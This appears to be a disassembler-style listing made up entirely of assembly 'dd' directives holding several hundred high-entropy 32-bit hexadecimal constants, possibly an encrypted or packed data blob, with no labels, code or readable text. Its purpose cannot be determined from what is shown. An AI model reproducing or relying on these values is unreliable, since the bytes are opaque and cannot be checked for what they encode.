		dd 0AE58109Dh, 45E80896h, 0F1B00499h, 0B1889A1Fh, 0E1DE5D5Ah
		dd 0CD6BF63Bh, 399AA0BEh, 0E46D5237h, 87908008h, 7CE92543h
		dd 0F38CD072h, 3112E7CEh, 0DA1538C5h, 7D0E7407h, 495B3112h
		dd 520A2EE4h, 34B89A11h, 0A0BB47B3h, 63AC57BCh,	6DC9D18Ch
		dd 41D8FF8Ch, 8519CACCh, 1BD50412h, 776CA768h, 0B363600Dh
		dd 0AAA60B83h, 0D3EE23ADh, 1187DAFh, 2F90195Fh,	35FE46BFh
		dd 8B057441h, 87BC3738h, 2795D05Dh, 17147ADCh, 43762C59h
		dd 71A2328Fh, 9F428861h, 9AA25E2Ah, 9364E51Bh, 29BB12F6h
		dd 6976D582h, 8FAE6E13h, 4C4C9D89h, 0F1ECFC9Ah,	0F5D1095h
		dd 6C37261Bh, 16454A3h,	9309DB27h, 528FBAC7h, 0F5E6E099h
		dd 0A0BFFD52h, 413C6C82h, 0FB8768C5h, 0AD0E947Fh, 0DB94C239h
		dd 4D4EBC57h, 0C8A06C91h, 75183CF6h, 4519F1E9h,	0F232BA78h
		dd 5105553Ch, 0AC3E1645h, 3E2CA70Fh, 0FA4A6285h, 0B7EE62B0h
		dd 5159BE93h, 3DCEE19h,	0FA09F14h, 2F174835h, 56EBF9AAh
		dd 30F4B409h, 0F9440832h, 1670FF3Dh, 7CAEAB4Ch,	0F6875C59h
		dd 0A182B409h, 4019C8AAh, 0EDA7C95Eh, 0E1A99F61h, 0BAAA52D9h
		dd 86418F77h, 8C8A1B7Ch, 6EB7CC69h, 11D2C42Dh, 4EB72166h
		dd 244BD90Ah, 735494A8h, 0C9DAB3AFh, 0C8285D10h, 0EA6D0E33h
		dd 8A9A3CC3h, 2F61AD0h,	0EF129B54h, 0B7A93F38h,	869C9EC1h
		dd 291FC1F2h, 6789E9CDh, 919B7E53h, 3C635294h, 7C89BCA0h
		dd 1FA845E1h, 0E648366Bh, 0D0B0237Ch, 3CB77645h, 0D7D0FD09h
		dd 7CF882Fh, 0F14FB76Fh, 0EAA7A88Dh, 0E7D812C1h, 0BD5ED477h
		dd 0EB8E18AAh, 1900C62Ch, 47F03045h, 243634BBh,	0F3F2E66Bh
		dd 0EF4C2F40h, 7C50E855h, 0C1E6560Fh, 0D0144423h, 29A1803h
		dd 0DD60CA91h, 0B7A4A4E3h, 0FF44FC03h, 2BB22A9Dh, 90520975h
		dd 4B2B79ABh, 9444A4BFh, 0F635675Eh, 27511709h,	5563B313h
		dd 3A5C7C89h, 0B1E296A4h, 7A9B272Eh, 1DEE1BAAh,	0BEF924A1h
		dd 69EA4675h, 0C3D06042h, 3A6C8E29h, 0CD524936h, 0E1970A5Fh
		dd 0A7AC4D8Ah, 7D1E6714h, 0ABA48509h, 9D4F9167h, 60C59288h
		dd 435F6C23h, 4D92090h,	79157A1Ah, 0BFC8AD55h, 0AF026374h
		dd 8E2B0401h, 494A0CF5h, 51759F4Ah, 0CF669E9Dh,	2CEED629h
		dd 114CBC3Ah, 2ED0A135h, 76E946BBh, 0AF08FDA0h,	2C75F593h
		dd 0E700EED7h, 0B01508E0h, 430C136Fh, 8EF50EDFh, 8F1616F0h
		dd 0B96E33EBh, 5B7A217h, 0D65460F3h, 3D486409h,	7AEC0403h
		dd 0A3720A1Ch, 95124F0Fh, 87B06B49h, 0EDE261Eh,	5187C568h
		dd 0A6DC071Eh, 0F505B0BDh, 0D1D2A2B2h, 500E7FDAh, 9083124Bh
		dd 7F886662h, 0FB5EC21Bh, 88C49480h, 375467A8h,	0F72520CDh
		dd 9A293A3Ah, 1CA4589Dh, 0D10D9CEAh, 127D30F5h,	0E26DF984h
		dd 5BFA1294h, 0F8C48987h, 0A7D1B8C9h, 40A9E993h, 3CCD23Fh
		dd 0F448F60h, 9F014835h, 8D918950h, 0D1F4CE6Bh,	837AB8B7h
		dd 1701683Dh, 810D2EC7h, 195C5C23h, 5E5601C3h, 9060EEB7h
		dd 0CE9EE6EFh, 0D4FEFCA8h, 0CC27BD18h, 8720653Ch, 0E5E7CFA1h
		dd 0DD165986h, 0D541FAEFh, 0C0C3EBA5h, 6D960E53h, 9B54B67Dh
		dd 0C9DABC7Ch, 0F760E09Ch, 25E60E23h, 536C3CA9h, 81F243ABh
		dd 0AF7898B5h, 22AD906Ah, 1BBAC654h, 95538947h,	9CE59049h
		dd 18D590B1h, 0D385D14Ch, 64DD885Fh, 1FB8366Fh,	0F62B3E2h
		dd 6D5C64E1h, 0E53A9277h, 0A2ABAF92h, 6C34BEF3h, 56A0757Fh
		dd 42FE8h, 0CEBD0D79h, 28A1F69Bh, 0EBF4EA13h, 5B3A872Eh
		dd 1B33303Dh, 10053FF1h, 0C691ED77h, 0BBE0F5DBh, 8C7C8B20h
		dd 7EFA4097h, 5B602734h, 0FBEE01BBh, 0B74EC531h, 84C3BCA0h
		dd 7A6A991Dh, 41F34F83h, 0E5D2A36h, 0F4F8E38Fh,	0AA09D1EDh
		dd 97A39277h, 645051EAh, 21B75B61h, 0EC2E3CFCh,	0C291FF7Ch
		dd 0AD2BC8E4h, 689A974Eh, 541941E3h, 1AE3743h, 0F3E1E5CFh
		dd 0A074ED43h, 0A7E9A8A8h, 40777827h, 3DDB38B1h, 186A073Eh
		dd 0C7CBFBB5h, 0A946A70Fh, 69E3C2DEh, 5D456E12h, 26BC3896h
		dd 0C5361307h, 0DEADDA6Dh, 8408D6EFh, 7280617Dh, 260E57FAh
		dd 393194Eh, 0CC32E3C6h, 95ECD944h, 4D178FDDh, 4E8A7A5Ch
		dd 1A7E3FC9h, 0E2420024h, 0CDCBC7ABh, 8579A239h, 66F38AA6h
		dd 265B2C18h, 1DCB1CABh, 0E541DB00h, 0A8E9B68Eh, 975DA205h
		dd 44D34692h, 32074018h, 0E1A92377h, 0FB29F0FCh, 8DB6A46Eh
		dd 4858B9F0h, 588A527Eh, 22224CCh, 0F8A4E74Bh, 0C731D5C0h
		dd 0A182BB74h, 730C61DCh, 106A4E5Eh, 0BED2FC5h,	0DE7CF31Dh
		dd 0DBFAABB8h, 5F6E9710h, 5ED352B8h, 1D63200Ch,	0F6EB7CA8h
		dd 0AD5DFC1Bh, 0A6DDB580h, 6F516015h, 22B0556Ch, 790B0CE8h
		dd 0C3B1FF41h, 0A734D7DFh, 42A59E78h, 4103579Fh, 288D2173h
		dd 0E42810E4h, 0F4F4C15Dh, 0AF14B7C7h, 5A656C54h, 2CF65EA2h
		dd 734D3B27h, 0CFF7FA80h, 0AC77CA05h, 0FDED95BEh, 484B6631h
		dd 6AD93182h, 0F559365Fh, 0E5B6EA80h, 865FA30Bh, 23F1898Ch
		dd 4B304DCBh, 19AB050Bh, 0FE38EDD7h, 0BBAEC656h, 831582F4h
		dd 25A77D46h, 151859FAh, 0D5970646h, 0AF1DF5DCh, 0B89BAA68h
		dd 72D7F4B1h, 546F5634h, 2FD3999h, 0FC501107h, 0AAC8C9B5h
		dd 0A422BF32h, 6FC9658Bh, 3A4B5F3Dh, 12F202BEh,	0FF3AF71Bh
		dd 0A2B4B294h, 690782E2h, 33AF7365h, 153B38D8h,	0E3B13E70h
		dd 0C910A6FEh, 9E8EB060h, 6B3A76D4h, 2B994644h,	61339D6h
		dd 0C697E36Dh, 0A5CCBAD1h, 9E6D9A06h, 44C873BFh, 1514213Dh
		dd 0ECE831A3h, 0E745D43Ch, 80C5A191h, 5D2C8F1Ah, 24C0699Bh
		dd 3F5D2C14h, 0F8DDE989h, 0B301C7F2h, 0BABEAC07h, 533175FFh
		dd 36B36D76h, 0ED3305EDh, 0F296D41Fh, 0AB09ADD7h, 689DA34Eh
		dd 540674C3h, 1A893754h, 0DAF4CEBDh, 0AC50DE22h, 95C3ABACh
		dd 55716F1Ch, 4FF657BCh, 0D511215h, 0C2E2FA84h,	972AA70Bh
		dd 62C0BF99h, 5A444E1Dh, 10CF299Ah, 0F429152Bh,	0CB86A86Bh
		dd 832BA6C4h, 6FB76142h, 49345DFEh, 5B01453h, 0C603FACCh
		dd 0A185EA5Dh, 6D139FDBh, 40957D78h, 137E3FC9h,	0EE712535h
		dd 0D7C3DBB5h, 8A62BF2Bh, 7AFF8AB2h, 28737837h,	3FA234BAh
		dd 0F65ADF11h, 0A4F8D39Fh, 9A419003h, 44DF5F9Bh, 57393212h
		dd 0D0AA1A51h, 0DC2FF5E7h, 9581AF6Bh, 683691E7h, 539F494Fh
		dd 1F373DD2h, 0FE84EB55h, 8623E7ADh, 8797AA60h,	230C79CDh
		dd 226D565Ch, 1CE71BA0h, 0AD7AF320h, 0B5FAABB2h, 96E9132h
		dd 5FD445BAh, 7523D0Ch,	0FECD1290h, 0A440AA0Ah,	9CB8AE96h
		dd 1D5A681Eh, 20A75B72h, 304A16E2h, 0D5B5E463h,	9622DBFDh
		dd 66AF8375h, 550C7BD7h, 16E82D49h, 0FF0B02C5h,	0FC80C15Fh
		dd 8639A6D2h, 74656E53h
		dd 16E24BB7h, 16783D3Dh, 0D5FCC3CFh, 0AA76CA30h, 98EEA9AFh
		dd 6224550Fh, 2BCF3689h, 0C8441503h, 0E0D8FB83h, 0E37DA00Bh
		dd 74B694B6h, 4B2D46F7h, 9AF3359h, 0FE38EDD7h, 9F9EF317h
		dd 0C429B0DCh, 69A22011h, 363E3CE5h, 0EE9E2948h, 0CA33FDC6h
		dd 0B8ACC642h, 6EF4BBA6h, 406F6929h, 67D12888h,	0C4711B01h
		dd 0BAEEC9ACh, 844EBB09h, 5ED04D80h, 2A4B646Bh,	2DC001A2h
		dd 0CC4FFE16h, 0D781B8B8h, 6FB0DDD5h, 0B89A4A0Bh, 3353205Bh
		dd 0D9C00AEAh, 0FF0E3364h, 2F6FD431h, 493C54F1h, 5F80CF7Bh
		dd 4BC8CB4Ch, 677F8C29h, 0D940E4AFh, 4416545h, 45DFDEE0h
		dd 0B3144451h, 8ABE3E5Ah, 0B24AA037h, 8FF59EB2h, 43E0776Ch
		dd 15E2FE64h, 3D69181Fh, 7B2B79A8h, 4844A4BFh, 6C35EEC3h
		dd 27402E63h, 96DEFA90h, 0BEA8F914h, 78D19A0Fh,	0B73AC8CFh
		dd 0DDCF61Bh, 6A25E03Ah, 38AA125Dh, 570398D7h, 0CB6CFA4Bh
		dd 11192399h, 0A2121A71h, 9DAB1811h, 0E411A6DEh, 0F37E6323h
		dd 8EE90044h, 0C6580FDEh, 3AC9E18Ch, 63BCE97Dh,	7D2A2A7Fh
		dd 34C8A877h, 664EBC5Fh, 73946EDDh, 494A3297h, 1DB26277h
		dd 0D78AE6A3h, 0D386BC29h, 0FE22B9FEh, 3FC6CEA0h, 0A22719BBh
		dd 9B3A52D4h, 0CD7527C7h, 6F9D5B3Ch, 0F696EEC6h, 4389A155h
		dd 72A24ACFh, 607BDFB4h, 0F2B3D39h, 7634F44Fh, 2992C878h
		dd 0A86BA87Dh, 4D91FCh,	0B35CA253h, 0C8F54582h,	15B0F895h
		dd 0B621D9E4h, 7B5A9224h, 0B7650F27h, 2F70B084h, 0A09213Ah
		dd 1DB68932h, 91873A2Fh, 0F00548B1h, 0AD0EBF70h, 246A3039h
		dd 0DB9F79A8h, 0B2A030E3h, 0E82D3AA3h, 93853466h, 3FED426Fh
		dd 2833270Ah, 0F56BC524h, 4BC43401h, 65A7E3DAh,	94D08016h
		dd 72D3335Ah, 52DCFC07h, 61334BCBh, 0CA171974h,	8D7E48F9h
		dd 44D0A0B6h, 0F944F422h, 13C25D3Dh, 456E7BC3h,	2E0C5C49h
		dd 0BAD9674Eh, 3072B845h, 0E6887356h, 79741471h, 598E622Ah
		dd 43B37047h, 3071F8FFh, 0E32CD725h, 9405DA32h,	3F5833DBh
		dd 6DE4562Fh, 813E47CCh, 0C9D35A4Fh, 0B5EDE09Dh, 0EC18A442h
		dd 3AAFCCDCh, 91CD2ABAh, 0A7FC9DB5h, 48778433h,	0B94CB81h
		dd 6CC9C0B0h, 67905025h, 78972353h, 0C38CB77Ch,	0CE6647D4h
		dd 632B08F5h, 422E3E4Fh, 7BB4DD75h, 0A1D61377h,	83C0C0FFh
		dd 547EAEBh, 4959E309h,	0EA525AB1h, 0AB5CF5E9h,	0BD5EA79Fh
		dd 3E4BE71h, 196A02A3h,	47A2627Bh, 3E3A1E4h, 90FC9C07h
		dd 0D5153776h, 0AE08E844h, 7C8C7C9Ah, 5B7C453Bh, 0DBDA72D7h
		dd 896235A2h, 6030CEF3h, 4377889Fh, 40B642BBh, 906F5875h
		dd 9F9EA24Fh, 5EBBB481h, 0F9DADD25h, 539095D4h,	5C2DD05h
		dd 8336B812h, 0E7B5CB4Dh, 0E1D25D5Ah, 88B7F63Bh, 6DA45171h
		dd 57DCC7C8h, 0C00D80ADh, 0AF51FC07h, 6401848Dh, 21120B4Bh
		dd 25580B7Eh, 0D6ED3F4Bh, 0FBF4C4B1h, 8B7A9237h, 39FA6512h
		dd 0F1B71E63h, 63BC4EF1h, 99660E80h, 80DA3DFAh,	121DD69Bh
		dd 0BEB1684h, 4D986F97h, 7DDEE01Dh, 2E208FD6h, 0C3F938A4h
		dd 8C6B09AFh, 3FE818A0h, 0BAF45BBh, 4B80A6BEh, 0B8952AC8h
		dd 631FD04Dh, 1596FFC3h, 362612D9h, 4F221CCFh, 9EAC8765h
		dd 4DAEB6EAh, 0A41C44Fh, 798493B1h, 22070E34h, 4309E541h
		dd 98039DCFh, 0E1B89BC1h, 0F00BAEC4h, 2DE12C8Eh, 0AA5F0DA1h
		dd 99350728h, 42FDB0ADh, 0F5E6C0A8h, 2F140CD3h,	1023A3Fh
		dd 751D9796h, 900E8674h, 0DB94C4DDh, 9A57758h, 864920DDh
		dd 0E4264E63h, 0DAFE2CD7h, 64B7A539h, 6CB8D8F5h, 21920EBDh
		dd 0D2403B0Ch, 454A6287h, 0B23E52Dh, 505984AFh,	3DCEC95h
		dd 11421732h, 7ED56805h, 0F81A13CCh, 9BC8084Eh,	97FBAEC2h
		dd 636820C2h, 0C4F75BB7h, 497C5F37h, 0C9E7A5E0h, 0CFE7FF93h
		dd 0ED24D7D4h, 0DC241446h, 0CC551005h, 87204EC7h, 0E5E65EC0h
		dd 0EAD49C29h, 55C2FAFFh, 53265FEAh, 6DAA3764h,	0A44E116Eh
		dd 95FB207h, 3E53D6E9h,	1AA28BAAh, 3B3D3CB9h, 1F2682Fh
		dd 0FF2EC9E4h, 0E2E053C4h, 9E09F4D1h, 391A39D8h, 3359639Dh
		dd 0C4442E02h, 91095388h, 7622CA61h, 8A572CE1h,	4D3E084Dh
		dd 0F634A709h, 0A92A8700h, 0BD0339FCh, 0FA478482h, 37BFE33Ah
		dd 0A1D75F70h, 54EB2261h, 0B6ED7610h, 66D88422h, 977C112h
		dd 4B4ABB2Dh, 0FE765EB2h, 0A3FD84B3h, 0FA7AB9BFh, 3483888Eh
		dd 59EFB038h, 0AEF60354h, 4E195C3Ch, 7BABF352h,	0B57245B4h
		dd 426C963Dh, 0BE4D40BDh, 7F06BEE0h, 0C7330DFBh, 4844A4BFh
		dd 36E1EEC3h, 0E057F90Eh, 0BDD65414h, 8013E599h, 0F7ADC9DCh
		dd 8D299FF1h, 64A3AA6Eh, 481B56D2h, 358E3458h, 0F3EEE9EAh
		dd 9975D92Ch, 81FEA98Ah, 7766642Ah, 26EB4AB0h, 38420834h
		dd 0C4C8E499h, 0D958A715h, 60C291B9h, 5A7E6A16h, 61BC388Ah
		dd 0C4127A7Fh, 0CF182777h, 8436B9F9h, 69BD2A7Ch, 253B55F4h
		dd 5999187Ch, 0EB66E2D3h, 0F3A7FF60h, 690183C7h, 46807F4Ch
		dd 182D13B1h, 0C17C5413h, 99C4EB88h, 9579A66Bh,	409C8BA7h
		dd 431C2CB1h, 9C2307DFh, 9F3896C8h, 0D8D9332Dh,	434E461h
		dd 39846C62h, 48A8817Dh, 9BAC5277h, 8D7A2902h, 4D8BCA1Fh
		dd 252DD6A9h, 0C2E0A77Dh, 0E64721BCh, 89D5B89Ah, 0C5063BADh
		dd 50907B64h, 1BCC8934h, 0D48D3A2Fh, 7F985013h,	57481FB1h
		dd 206A8A5Dh, 0C6F8F3E6h, 16487036h, 0E6D9B198h, 97A45895h
		dd 0C9DAEE1Ah, 0BCB8D8F5h, 5910453Dh, 0B4C4784Dh, 6974E812h
		dd 0D3109B0Dh, 0D73C2D9Eh, 3149134Ah, 0CE620AA1h, 0C800DBF5h
		dd 65918955h, 0BBF4A43Ah, 0B63994E4h, 532E5372h, 0BA86628Fh
		dd 6332D6DCh, 5FEE62CFh, 0CFF047AAh, 261192Dh, 3B36C8ECh
		dd 0D46371E7h, 977298E8h, 0E4E7CFF3h, 0B26D9C28h, 975705AEh
		dd 0D74838BBh, 6DCE5600h, 0C911D7C4h, 8DF48024h, 860ACD1h
		dd 35D884B6h, 5366D4A9h, 0F2856A2Fh, 0C111EAC5h, 0DDBFA04Fh
		dd 39110B91h, 0B00A3279h, 77AE6A48h, 18277153h,	0D385D154h
		dd 0B1A7535Fh, 4EA818DAh, 73A4A394h, 132764E1h,	0A93A9273h
		dd 0CE4A7570h, 881FEE93h, 23F33AB4h, 9490A28Fh,	48BE87EAh
		dd 0AD40CB1Eh, 68B4D421h, 9746D02h, 0D27D302Dh,	7566409Eh
		dd 0A296D869h, 0B9D0BAD5h, 7F08E847h, 12A48334h, 9B914441h
		dd 4B8078Dh, 0A73EC0D0h, 0E3CC9CE3h, 0D4149E4h,	17E62AFFh
		dd 3D690825h, 0A2901304h, 341CB491h, 0E9F5C492h, 60D5D68Dh
		dd 55D62E52h, 835C6071h, 0FEB1CD1Fh, 0ED5B83E6h, 41A2B205h
		dd 0B1E1DBB1h, 0FAFA4209h, 978087D5h, 24B32343h, 0AA8CCCD1h
		dd 1FE4B7C2h, 727038C5h, 95E199AEh, 0ABA494EDh,	90648B30h
		dd 29E4B5A3h, 357A5237h, 5D36D906h, 51C77A6Fh, 0BDFD2C0Ah
		dd 85DDD68Bh, 1BD40414h, 5045871Ah, 0FAB9600Dh,	0B5599C1Eh
		dd 26EA5429h, 0BCF11550h, 2FE82723h, 4DFA49BBh,	0A047443h
		dd 0B98B322Bh, 0E678844Dh, 0EA96FED2h, 5322DACCh, 0E166DBDFh
		dd 0CF288864h, 0CDC46260h, 0EDA11B23h, 0ACBA02C8h, 5A3519BDh
		dd 85D5E66Bh, 19D96389h, 0AD2DA31h, 60E57B77h, 3DDE3605h
		dd 0EEE97DD4h, 99FA9C54h, 0C5E54FFDh, 70F6CE0Ch, 0AAF80379h
		dd 0DA023A3Eh, 7F036485h, 2881A6B4h, 0DB84DABEh, 485D7791h
		dd 5DA120CDh, 0F272463h, 9D3983EBh, 4232BA50h, 6BB7270Dh
		dd 1D3E071Bh, 2051B992h, 134A7299h, 5883C21Dh, 0C5684006h
		dd 0C1C6919h, 31635A1Ah, 0D355C525h, 3C6E66B5h,	41C84C39h
		dd 7D122D48h, 4900003Dh
		dd 710FC8E8h, 0E6F3086Dh, 0A182B44Dh, 0D18205D8h, 0FC2FE6CBh
		dd 0D4DE0989h, 0DE3FCF18h, 0ED306073h, 0B5A2F6F3h, 0B06ECC79h
		dd 2EC86F00h, 7BC52895h, 0F843422Fh, 9B44C679h,	0C36CBD47h
		dd 0E344A416h, 27EEEEE2h, 197E3DE3h, 82B8782Dh,	0A75CDCBEh
		dd 1CF127BBh, 0D5FC21h,	0C61A0603h, 0DA1D00FFh,	9506411Bh
		dd 0C39CB031h, 0C70CFF5Fh, 3F86289Dh, 68141645h, 439A41D4h
		dd 8942B70Fh, 9DCAB3D8h, 2508A7CCh, 0A6334B09h,	614274B5h
		dd 8F74BC94h, 0BD34A69Bh, 14B78371h, 9550832h, 0D77DBB2Dh
		dd 1F764EA6h, 0C8E76F39h, 39D3B776h, 0FF08E840h, 27EA33EDh
		dd 0CEEB1351h, 898A4CEDh, 0E72C64DEh, 0E2CEC508h, 9E2CFC69h
		dd 51AC8A52h, 906B0F75h, 8D818C6Eh, 0B5843181h,	0B17F6F53h
		dd 0A45000B2h, 45C3AEB6h, 0ED16C99h, 0B1F2DB58h, 0DF02068Eh
		dd 0F2BDA07Ah, 2B4B2224h, 6902D137h, 1C11AFC3h,	8DB323BDh
		dd 438CCCF6h, 54BCF842h, 657058C5h, 1CE199A1h, 0A2478393h
		dd 322BB5EAh, 2C7F7B07h, 7D8B93BDh, 90BC5CC6h, 7AB5FDDBh
		dd 2A37FBBCh, 0ED5EE871h, 0EA3B991h, 3D5B3287h,	2D00837h
		dd 30998EA3h, 0D3FC8283h, 4035572Fh, 5BF81825h,	32FB81AAh
		dd 8B04645Fh, 7F8AA2C7h, 0F75197C8h, 1D7FFED3h,	84E3D3A7h
		dd 61B7DA5Ah, 9F288865h, 0C96CEB6Bh, 0B43EE971h, 46D57CD7h
		dd 312F6013h, 0E3AF0223h, 0FC6CBDECh, 8CBBBE2Fh, 602CD8F0h
		dd 51BB453Bh, 0A1636C4h, 94CBE753h, 0E75090A7h,	0D5B9FE13h
		dd 4E1179CAh, 3622485Ah, 1AEC1AA4h, 0A703B725h,	0BEF8A183h
		dd 6C768639h, 4ECC53AEh, 15472643h, 0F28C0599h,	0A412CE01h
		dd 8CDDA88Dh, 6950670Fh, 3FB7142Dh, 102E0CE6h, 87EAF763h
		dd 825CB3BEh, 6BBF9878h, 110574F6h, 7F842444h, 0AD1717CFh
		dd 9B90CA50h, 811DBBD9h, 71202C49h, 23A65CACh, 1D69353Bh
		dd 0E8B2F9ABh, 0A679CF75h, 0F793DCAFh, 59417C36h, 2BCB6282h
		dd 0E8495008h, 0D396B286h, 8D59A50Bh, 31FD899Bh, 5A2547C6h
		dd 1987762Ah, 0BB27EDB1h, 0ACB7DB63h, 8329C0BCh, 49C67D04h
		dd 720948C8h, 0BB593378h, 0BFDE8C9Ch, 0ED39423Fh, 0C9E8389Dh
		dd 3409D512h, 629B2A79h, 1644CCBBh, 0ABC9A96Ch,	0E184CE4Ch
		dd 6DA333C0h, 6A9FCC8Eh, 421B53Bh, 61A55E77h, 0C2CE1A72h
		dd 0DDFE5DD1h, 33CC1C09h, 61524A8Fh, 8FD87815h,	0BD5EA69Bh
		dd 0EBE4D421h, 196A02A7h, 47F0302Dh, 75765EB3h,	0A3FC8C39h
		dd 0D182BABFh, 0FF08E845h, 2D8E16CBh, 5B144451h, 899A72D7h
		dd 0B720A05Dh, 0E5A6CEE3h, 132CFC69h, 0F917A98Fh, 6F384837h
		dd 0DF022378h, 0C444B491h, 74DEA1B0h, 905F08DEh, 85D53858h
		dd 0A7782812h, 0C3EED834h, 0D72AF3BCh, 4F65E258h, 37360FA5h
		dd 2B42C7BEh, 120980ADh, 0C516ECFFh, 310FD922h,	40CBE867h
		dd 0C7983C17h, 6D3A39DEh, 0ABC07CE1h, 0F942C267h, 8AB0F0EDh
		dd 251592F6h, 7B8515F9h, 51C1760Bh, 403F4A01h, 0FD0C420Eh
		dd 0C223C711h, 6D05BF94h, 6703600Dh, 2A9AFE5Ch,	0D7043F29h
		dd 9CFB1C4Dh, 2FE83BB9h, 297E7C38h, 88365F44h, 0F707B2B5h
		dd 0B94B88B1h, 6196C450h, 0A82ED35Dh, 61D0A5DCh, 60D7DF8Dh
		dd 0E6609D14h, 0EB7658FCh, 62B94AF7h, 0D2CF8349h, 85D62C9Bh
		dd 0F1D8194Eh, 0E1D2CA1Fh, 33B0F895h, 0B6DE261Bh, 7B26C024h
		dd 6F436A27h, 0DF984F52h, 76F6DE33h, 333E9804h,	59773A3Fh
		dd 5B80F54Ch, 31E5965Bh, 9900492Eh, 86D9F247h, 27E2B858h
		dd 0F1B3C763h, 7BAC6CABh, 0C132AA6Ch, 647B11C6h, 1D3E86E8h
		dd 0A62C6601h, 7AB59D79h, 0B7922C98h, 5680BD93h, 0CDCE063h
		dd 31631D1Bh, 4F92CB25h, 70EA79ABh, 30F4A431h, 12ADEF5h
		dd 0E8FFFEF5h, 73AABC0h, 0B50F5C59h, 219A009Fh,	0D66CB8ACh
		dd 89B01F5Bh, 0DACF5462h, 0D8AB0A6Ch, 58EFAF8Ch, 0F14F1F2Ch
		dd 963C8035h, 0D9E9A313h, 30B2D106h, 6DCEE184h,	0E3D5E291h
		dd 0C6E881E9h, 0F7604B18h, 1F655823h, 0D86949A9h, 83197A65h
		dd 5E7B923Eh, 238C2E6Ah, 0BE870B3Eh, 391A60FBh,	1F50D560h
		dd 119271A8h, 3C9CACD9h, 0E16066EAh, 4A4058E5h,	4ED1C995h
		dd 6BF6D874h, 15BF1D77h, 0D4C0D0BFh, 8615CA87h,	0E8FF1EC9h
		dd 825AFC80h, 0AF11F807h, 997A67C8h, 0CFF8FD25h, 424E0E8Eh
		dd 0C619DB6Dh, 0CEA15148h, 22C2F8E4h, 0BFC71244h, 7E3E9C9Eh
		dd 8CB54F30h, 0DA3A30AEh, 3CB8A42Ch, 3606D4F1h,	0BD4F5D18h
		dd 9232889Ah, 195B5714h, 0EE2E2C86h, 0B881C000h, 4A4AC060h
		dd 0DCF5D2FCh, 0D856646Ch, 4594A686h, 0F2B53799h, 0EF1D65E0h
		dd 367C0A26h, 0F21108C4h, 3F1E2672h, 9CB3BA6Fh,	2087F42h
		dd 0C516887Ah, 0EBBD64AFh, 0C5D2E84Dh, 297A3AD6h, 25180CF0h
		dd 5451BA09h, 0D1E84198h, 2DA216Ah, 0C017F62Bh,	993CB306h
		dd 2149097Ch, 864DAA55h, 474EC6ADh, 73BE23FAh, 0B3DA98CFh
		dd 0C7F8151Eh, 506766B2h, 0D25443D6h, 8572EAAFh, 0FEF56CE7h
		dd 0B6B4B85Bh, 33019FB7h, 398AA2C7h, 24AF32E6h,	2C066B5Eh
		dd 94372C49h, 86618028h, 8F110CE0h, 0CDAEB6EBh,	3BA1EB79h
		dd 0DFB1F236h, 4779C2F8h, 83B36F03h, 96C591EFh,	6424D9E4h
		dd 0F48C117h, 5BD85319h, 804165ACh, 98E7E423h, 2FDBD688h
		dd 0A09218Fh, 0AA484F32h, 414096AAh, 884BC3C5h,	0BD3712CEh
		dd 0DB94C4D1h, 0C98FFD5Fh, 0DF0A9CD9h, 9AD9B1FFh, 0D11CE960h
		dd 44C4AA7Fh, 0EFA8E177h, 123A737Ah, 60C6DF30h,	8E89C947h
		dd 0B7E91488h, 0D556BE93h, 89FB9811h, 215B641Ah, 54088925h
		dd 0C8E57BCDh, 43440F57h, 97FF581Dh, 0D6001004h, 22833523h
		dd 0D80AD52Dh, 0AF44AFCh, 0ABA0AABEh, 569EE354h, 125A91EBh
		dd 1AE42F7h, 2C2890ACh,	21335830h, 0EA3CDC5Eh, 0ED72DF14h
		dd 872E086Eh, 0C6A856E0h, 9F3E9D7Ah, 3DD35A4Fh,	0F3ED1F62h
		dd 2D06CFF1h, 93E539CFh, 8219C149h, 0C5D20805h,	2D169E2Eh
		dd 8B7B0B32h, 292DB6C2h, 9D1056CDh, 11390D5Bh, 3D5FD80Bh
		dd 0FE1AE95h, 0E16F7C2Fh, 0B3F742A1h, 85B8103Bh, 5735E6BDh
		dd 67CFB437h, 0B58D057Ah, 0E87CB68Eh, 94E28E64h, 7768B8FEh
		dd 4A9D1A70h, 0FBDD50A4h, 194A02A7h, 3276802Dh,	0F8725AB1h
		dd 6767276h, 0D19283C3h, 3884323h, 9D8963CEh, 0A45BC451h
		dd 0EB72D897h, 40DF5FA2h, 0F59F4A66h, 136CFC69h, 270A4CEFh
		dd 0DB3A2D44h, 2D15E0D2h, 0B5C1BE99h, 39CAF23Eh, 0CFFA136Dh
		dd 0AA29C12Eh, 6ABE429h, 0B1F2A39Bh, 0DF6848A5h, 8B5EF45Eh
		dd 208813Bh, 0C29C5227h, 0E2857C3Dh, 45061E44h,	59CC2386h
		dd 0B1AF878Ch, 0A79828ECh, 82E19956h, 92201116h, 0D92AC277h
		dd 4C4E0EDh, 0C29C7EC3h, 7385C87Ch, 91427A7Fh, 7CFDC0Dh
		dd 0EDA25DDEh, 9E234BBAh, 494A0B13h, 76E0601Eh,	0A5960AACh
		dd 3B5CBC29h, 0BCFB4105h, 2FE85AA9h, 0A2808A53h, 21ECC4BEh
		dd 19372B6Ch, 0F10C00Fh, 0EA69006Eh, 7A98A9AEh,	71A15ACFh
		dd 855C8865h, 0F42A331Ch, 0FB34E461h, 23CE13F7h, 0A8BE6E95h
		dd 7B5D86FCh, 5AFC6376h, 645961A5h, 0F48BA09h, 0F5F5E990h
		dd 29C0E928h, 0D1638237h, 0A3170851h, 0C65DE8CCh, 0D4D76A79h
		dd 413BBEBAh, 7F886BC5h, 5B1DE24Bh, 0CBAD4654h,	36E7257h
		dd 0C85D8A35h, 9B7DA69Ch, 0F4148316h, 6A14230Bh, 44DE18C6h
		dd 24BA838Ch, 4BC73411h, 233E6287h, 9E5215FBh, 0A0D6BE83h
		dd 0FE5D0413h, 38AE560h, 0B717B7DBh, 72918BA9h,	0AF1C8481h
		dd 0A852D4Ch, 0E8B86604h
		dd 0D42D48D6h, 0F799D7E2h, 56929AF6h, 0CCDA4F87h, 889EE6DBh
		dd 0D7F8FC75h, 461ABD18h, 78CA9E85h, 4A0EF80Ch,	7297AA6Ch
		dd 9A0D7154h, 2F0A8C00h, 0E4067D0Bh, 1EA378D9h,	0C9CA8B93h
		dd 0F760E09Eh, 0A0113657h, 537C052Dh, 87F26A2Fh, 2A8FB4C1h
		dd 0DDEEFFBFh, 0A84F4C1h, 0FBE22832h, 8F6FAF30h, 6AE98318h
		dd 0FA18292Eh, 0F122DA4Fh, 15DC0CE5h, 0B2D39A83h, 86D58C0Eh
		dd 2CCD6D88h, 0D7D0F979h, 546EE87h, 0A5240B7Dh,	0D9ADB572h
		dd 4726B83Ch, 7D561E30h, 534FD055h, 7E81FAD2h, 0BA8FD886h
